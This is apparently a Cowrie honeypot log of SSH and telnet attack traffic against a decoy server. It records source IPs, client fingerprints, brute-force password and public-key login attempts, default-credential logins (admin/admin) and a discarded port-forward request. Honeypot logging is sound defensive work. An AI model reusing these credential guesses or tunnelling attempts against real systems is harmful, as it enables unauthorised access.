{"eventid":"cowrie.login.failed","username":"root","password":"54321qwe","message":"login attempt [root/54321qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:11.509257Z","src_ip":"176.32.39.21","session":"5fa137e59f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:12.638372Z","src_ip":"176.32.39.21","session":"5fa137e59f65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47964,"dst_ip":"159.203.135.109","dst_port":23,"session":"807291fe5488","protocol":"telnet","message":"New connection: 128.199.8.54:47964 (159.203.135.109:23) [session: 807291fe5488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:16.231496Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.64.200.144","src_port":44404,"dst_ip":"10.17.0.5","dst_port":22,"session":"c36a857d75fe","protocol":"ssh","message":"New connection: 82.64.200.144:44404 (10.17.0.5:22) [session: c36a857d75fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:35.746710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:35.751166Z","src_ip":"82.64.200.144","session":"c36a857d75fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:35.844094Z","src_ip":"82.64.200.144","session":"c36a857d75fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:96:af:f1:a1:f6:a9:c2:db:2c:4c:82:ce:4b:41:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCF3Qce9O4bu5k+1uvBAF1q2lGpnKEr83+VboYJql5pcMKorVQooc0xjVNrXgFdwGN+Hgj9lbrtdJjf911UaCuPwdj70edckjthDgC/LJb7VgcnsBwkBFIsvjWNvD7ZOV+eN3lCwCm+BLcO5kh/YWMdH0NMVTQ+rwXphKmtcFWiCiuOPXLn+OxCf8aGvmJSHcVK88z+30/7S375OYX8lxjy2Spsm+PzUXjF33sdnD5gLfm/tsCfEofg83JEzL+acddg8HOzYNmlbQUcvc+VhMkytJ3q9dJOBr8HP2nPAIlZQh7+ZOUB5P/MtUmsKollEr6y/cQymIQupw35jNTVAzv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:96:af:f1:a1:f6:a9:c2:db:2c:4c:82:ce:4b:41:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:36.286871Z","src_ip":"82.64.200.144","session":"c36a857d75fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:96:af:f1:a1:f6:a9:c2:db:2c:4c:82:ce:4b:41:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCF3Qce9O4bu5k+1uvBAF1q2lGpnKEr83+VboYJql5pcMKorVQooc0xjVNrXgFdwGN+Hgj9lbrtdJjf911UaCuPwdj70edckjthDgC/LJb7VgcnsBwkBFIsvjWNvD7ZOV+eN3lCwCm+BLcO5kh/YWMdH0NMVTQ+rwXphKmtcFWiCiuOPXLn+OxCf8aGvmJSHcVK88z+30/7S375OYX8lxjy2Spsm+PzUXjF33sdnD5gLfm/tsCfEofg83JEzL+acddg8HOzYNmlbQUcvc+VhMkytJ3q9dJOBr8HP2nPAIlZQh7+ZOUB5P/MtUmsKollEr6y/cQymIQupw35jNTVAzv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:36.294702Z","src_ip":"82.64.200.144","session":"c36a857d75fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:0f:5b:34:ac:33:05:04:0e:33:f0:1d:66:6a:f4:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV0qe1uYkdro7p6NMzYj3f/PDpKqmM5oltZgExUYNiWqwMKW1szSOBTUbSMaFF+tutqKODJgiRUfB6jCjxeQx/00pPUh/06uke6fhu+xtcFHthsUa5L7/oNzCN2qUjQou4cDx14Xh7jE9+AWKPgEtCdZsaHETOFDAi26gJbNb0DUVhEGpOO9JB5ZVps8XNN6JOrsPUWQYkugBHsM2VTLVgqjor/JX/vmV/Wg4l+SvEpAcQeIvAIlV9i/YL+BDWvvumdQNZrahffdWfqNuHBrFc5Y+FkA+q3cbkmbrexdQiFSe62aEDrEWf3czcX/+iYAcYrRWp4STBr9Kda99xn8fr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:0f:5b:34:ac:33:05:04:0e:33:f0:1d:66:6a:f4:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:36.386723Z","src_ip":"82.64.200.144","session":"c36a857d75fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:0f:5b:34:ac:33:05:04:0e:33:f0:1d:66:6a:f4:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV0qe1uYkdro7p6NMzYj3f/PDpKqmM5oltZgExUYNiWqwMKW1szSOBTUbSMaFF+tutqKODJgiRUfB6jCjxeQx/00pPUh/06uke6fhu+xtcFHthsUa5L7/oNzCN2qUjQou4cDx14Xh7jE9+AWKPgEtCdZsaHETOFDAi26gJbNb0DUVhEGpOO9JB5ZVps8XNN6JOrsPUWQYkugBHsM2VTLVgqjor/JX/vmV/Wg4l+SvEpAcQeIvAIlV9i/YL+BDWvvumdQNZrahffdWfqNuHBrFc5Y+FkA+q3cbkmbrexdQiFSe62aEDrEWf3czcX/+iYAcYrRWp4STBr9Kda99xn8fr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:36.389679Z","src_ip":"82.64.200.144","session":"c36a857d75fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:21:c4:79:b6:27:3b:16:52:b7:c1:0d:b0:ab:52:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoEA6kEa82cTqmDlviiqkbGCZKZ9KOEnsVAmBMTSrq0q6VhXO/x5ezc3KWx1qqqPulbgO4BffLOYRHOJsQglM5HbGvew072RB9Don4uRtWDC0D5Y87Fmm0THbw4WuWvU5I5u8Cuq8lqhwCp3lcpCqNwvmBcoOz+RIPG3qSIF8g9VppN2NJiKJYrlGHiRPb2BXl7EKaLjcxgXWp6oubXO+scF2egm4o/1tO9Wmedg6K3b82uHSvnPvEWzdEDNEp+fhPZEOs5GDK0Qy2YknpMldW7Jhs/SYL3ZJm1IfI7pdmVR7UNtYkHkb/PSm9FQp9GMRXS0OXXOmR4Q/0Qk6LgFAYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:21:c4:79:b6:27:3b:16:52:b7:c1:0d:b0:ab:52:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:36.482954Z","src_ip":"82.64.200.144","session":"c36a857d75fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:21:c4:79:b6:27:3b:16:52:b7:c1:0d:b0:ab:52:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoEA6kEa82cTqmDlviiqkbGCZKZ9KOEnsVAmBMTSrq0q6VhXO/x5ezc3KWx1qqqPulbgO4BffLOYRHOJsQglM5HbGvew072RB9Don4uRtWDC0D5Y87Fmm0THbw4WuWvU5I5u8Cuq8lqhwCp3lcpCqNwvmBcoOz+RIPG3qSIF8g9VppN2NJiKJYrlGHiRPb2BXl7EKaLjcxgXWp6oubXO+scF2egm4o/1tO9Wmedg6K3b82uHSvnPvEWzdEDNEp+fhPZEOs5GDK0Qy2YknpMldW7Jhs/SYL3ZJm1IfI7pdmVR7UNtYkHkb/PSm9FQp9GMRXS0OXXOmR4Q/0Qk6LgFAYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:36.486074Z","src_ip":"82.64.200.144","session":"c36a857d75fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:85:89:70:7d:d4:83:fa:eb:61:05:36:13:1c:4e:01","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL4nn8Wm7ADkKbfrb2UlzF1hV4ZfEBU2yUwhGyCqeYVJ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d9:85:89:70:7d:d4:83:fa:eb:61:05:36:13:1c:4e:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:36.578253Z","src_ip":"82.64.200.144","session":"c36a857d75fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:85:89:70:7d:d4:83:fa:eb:61:05:36:13:1c:4e:01","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL4nn8Wm7ADkKbfrb2UlzF1hV4ZfEBU2yUwhGyCqeYVJ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:36.581896Z","src_ip":"82.64.200.144","session":"c36a857d75fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:65:bd:7a:31:3b:15:ce:65:2d:12:3c:84:a9:b0:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDr9MFaAvzQAAryYIfJ26jRAXAwMAH+zTazKkzIDitlcplroPGBG1mPpPS4rV6AE2codf0+Mhx28/1N3eLPYQC5naHwrxRxsoy/ifYKpxsQbi+YXt+s5gwXD07CbP0dwldky44FP2T0XrnO1N9nrHgK1XBLV+3+yv65DyioP0qWyg/ClnGo3O5Z4W7qCvSyWZf39P71R/0V/cLRaruGVygfdHPN2YNWVsGewxEK7dr6KuE2DNA3/ElfsnUyLUOjqtClY6u5zf5f4nbSuivn6/hDs96KaPMh2xKTTtc5nFJQFcidbXUOfMDKf8jmwTyzsehAPG5lVR4DZM7TpSL3/j+eju74jvRYs56imSQrj2E9H+GS9+csKtcGXA+pEBd3282sJFo00JsYrrPg58HiQBRzAZFQPiKF+Wp5lnVyj+nAUlRDftGaewgG4jEf9H7jQQVhjwsbDuSq6CBkrdAfNjxePx8lF3NiEO/EhiF3I14uB3SWpducH6sH84Hh0W2PM5vXeIB0CuW4g9zBCkF5CkAgv9clts7Ir03dCAQCL/VK2h79zD5cDrRT8AX5hQIjab6SyXnC0lSLZGDtLNdeZmQuQag2h7hFscV2A9yBX3O0ZchVtGM6pAywYKgtJTTidpDFY5zRGMat+vCP/JRth65IHhic9TSsZe4s0qFmVV3jPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:65:bd:7a:31:3b:15:ce:65:2d:12:3c:84:a9:b0:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:36.675605Z","src_ip":"82.64.200.144","session":"c36a857d75fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:65:bd:7a:31:3b:15:ce:65:2d:12:3c:84:a9:b0:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDr9MFaAvzQAAryYIfJ26jRAXAwMAH+zTazKkzIDitlcplroPGBG1mPpPS4rV6AE2codf0+Mhx28/1N3eLPYQC5naHwrxRxsoy/ifYKpxsQbi+YXt+s5gwXD07CbP0dwldky44FP2T0XrnO1N9nrHgK1XBLV+3+yv65DyioP0qWyg/ClnGo3O5Z4W7qCvSyWZf39P71R/0V/cLRaruGVygfdHPN2YNWVsGewxEK7dr6KuE2DNA3/ElfsnUyLUOjqtClY6u5zf5f4nbSuivn6/hDs96KaPMh2xKTTtc5nFJQFcidbXUOfMDKf8jmwTyzsehAPG5lVR4DZM7TpSL3/j+eju74jvRYs56imSQrj2E9H+GS9+csKtcGXA+pEBd3282sJFo00JsYrrPg58HiQBRzAZFQPiKF+Wp5lnVyj+nAUlRDftGaewgG4jEf9H7jQQVhjwsbDuSq6CBkrdAfNjxePx8lF3NiEO/EhiF3I14uB3SWpducH6sH84Hh0W2PM5vXeIB0CuW4g9zBCkF5CkAgv9clts7Ir03dCAQCL/VK2h79zD5cDrRT8AX5hQIjab6SyXnC0lSLZGDtLNdeZmQuQag2h7hFscV2A9yBX3O0ZchVtGM6pAywYKgtJTTidpDFY5zRGMat+vCP/JRth65IHhic9TSsZe4s0qFmVV3jPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:36.678911Z","src_ip":"82.64.200.144","session":"c36a857d75fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:36.772612Z","src_ip":"82.64.200.144","session":"c36a857d75fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.39.208","src_port":33732,"dst_ip":"159.203.135.109","dst_port":23,"session":"1726b65923ba","protocol":"telnet","message":"New connection: 138.197.39.208:33732 (159.203.135.109:23) [session: 1726b65923ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:52.070842Z"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:52.393396Z","src_ip":"138.197.39.208","session":"1726b65923ba","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:52.492733Z","src_ip":"138.197.39.208","session":"1726b65923ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.70288419723511,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:54:05.934277Z","src_ip":"128.199.8.54","session":"807291fe5488","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51884,"dst_ip":"159.203.135.109","dst_port":23,"session":"1be4f1a2f6bc","protocol":"telnet","message":"New connection: 172.81.62.90:51884 (159.203.135.109:23) [session: 1be4f1a2f6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:54:09.273958Z"}
{"eventid":"cowrie.session.closed","duration":33.45512771606445,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:54:42.728973Z","src_ip":"172.81.62.90","session":"1be4f1a2f6bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42238,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2ba20d4e9da","protocol":"telnet","message":"New connection: 128.199.8.54:42238 (159.203.135.109:23) [session: c2ba20d4e9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:54:43.015081Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:54:52.951850Z","src_ip":"138.197.39.208","session":"1726b65923ba","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:54:53.009377Z","src_ip":"138.197.39.208","session":"1726b65923ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30466,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6270070b869","protocol":"ssh","message":"New connection: 87.251.64.176:30466 (10.17.0.5:22) [session: b6270070b869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:54:57.824872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:54:57.829546Z","src_ip":"87.251.64.176","session":"b6270070b869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:54:57.923801Z","src_ip":"87.251.64.176","session":"b6270070b869","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:54:58.298593Z","src_ip":"87.251.64.176","session":"b6270070b869","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:54:58.394993Z","session":"b6270070b869","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:54:58.490375Z","src_ip":"87.251.64.176","session":"b6270070b869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:54:58.593330Z","src_ip":"87.251.64.176","session":"b6270070b869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36790,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccae9df005be","protocol":"telnet","message":"New connection: 128.199.8.54:36790 (159.203.135.109:23) [session: ccae9df005be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:55:20.519063Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":53014,"dst_ip":"159.203.135.109","dst_port":22,"session":"267ae57adcd2","protocol":"ssh","message":"New connection: 37.233.85.71:53014 (159.203.135.109:22) [session: 267ae57adcd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:55:26.114541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:55:26.120177Z","src_ip":"37.233.85.71","session":"267ae57adcd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:55:26.233225Z","src_ip":"37.233.85.71","session":"267ae57adcd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.313706159591675,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:55:26.328658Z","src_ip":"128.199.8.54","session":"c2ba20d4e9da","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"skarlet","message":"login attempt [root/skarlet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:55:26.573388Z","src_ip":"37.233.85.71","session":"267ae57adcd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:55:27.687567Z","src_ip":"37.233.85.71","session":"267ae57adcd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":51270,"dst_ip":"10.17.0.5","dst_port":22,"session":"f292a94f073f","protocol":"ssh","message":"New connection: 147.45.211.215:51270 (10.17.0.5:22) [session: f292a94f073f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:55:36.544208Z"}
